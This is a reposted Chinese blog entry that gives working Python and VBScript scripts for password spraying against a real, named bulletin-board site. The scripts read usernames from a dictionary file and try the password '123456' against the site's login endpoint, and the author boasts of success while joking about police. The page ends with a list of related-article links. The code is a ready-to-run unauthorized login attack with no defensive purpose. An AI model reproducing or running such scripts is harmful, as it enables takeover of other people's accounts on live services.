Python牛刀小试密码爆破

时间:2021-10-05 14:18:47 

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版


#coding: gbk
import httplib, urllib

def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return False
elif res.find("不存在这个用户") != -1:
return False
else:
return True

for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i


顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?


Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With

Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密码不正确") Then
Check = False
ElseIf InStr(response,"不存在这个用户") Then
Check = False
Else
Check = True
End If
End Function

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function


事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html

标签:密码爆破
0
投稿

猜你喜欢

  • 如何用Cookie进行登录验证?

    2010-06-12 12:34:00
  • Python单元测试的9个技巧技巧

    2023-03-22 09:58:57
  • 浅谈Python描述数据结构之KMP篇

    2022-06-09 19:36:23
  • Python使用pickle模块存储数据报错解决示例代码

    2023-12-10 02:05:05
  • Scripting.Dictionary 对象

    2007-10-13 09:46:00
  • Python2与Python3的区别实例总结

    2021-05-20 00:04:24
  • PHP实用函数分享之去除多余的0

    2023-11-15 02:07:59
  • 关于Python中*args和**kwargs的深入理解

    2021-04-07 17:45:06
  • javascript面向对象技术基础(二)

    2010-02-07 13:09:00
  • Python CSV 文件解析和生成方法示例

    2022-12-25 10:52:58
  • javascript 时间脚本收集

    2013-07-17 19:52:50
  • ThinkPHP中__initialize()和类的构造函数__construct()用法分析

    2023-07-08 01:26:24
  • python中startswith()和endswith()的用法详解

    2023-11-02 12:41:09
  • Python while、for、生成器、列表推导等语句的执行效率测试

    2021-03-05 02:17:54
  • Python 为什么推荐蛇形命名法原因浅析

    2021-09-12 14:24:53
  • python基于urllib实现按照百度音乐分类下载mp3的方法

    2022-03-07 21:07:38
  • PHP判断密码强度的方法详解

    2023-06-14 03:00:08
  • 代码总结Python2 和 Python3 字符串的区别

    2023-05-25 00:58:52
  • 技术性击倒与抬杠

    2009-02-12 12:28:00
  • Python基础之变量的相关知识总结

    2021-05-09 00:16:06
  • asp之家 网络编程 m.aspxhome.com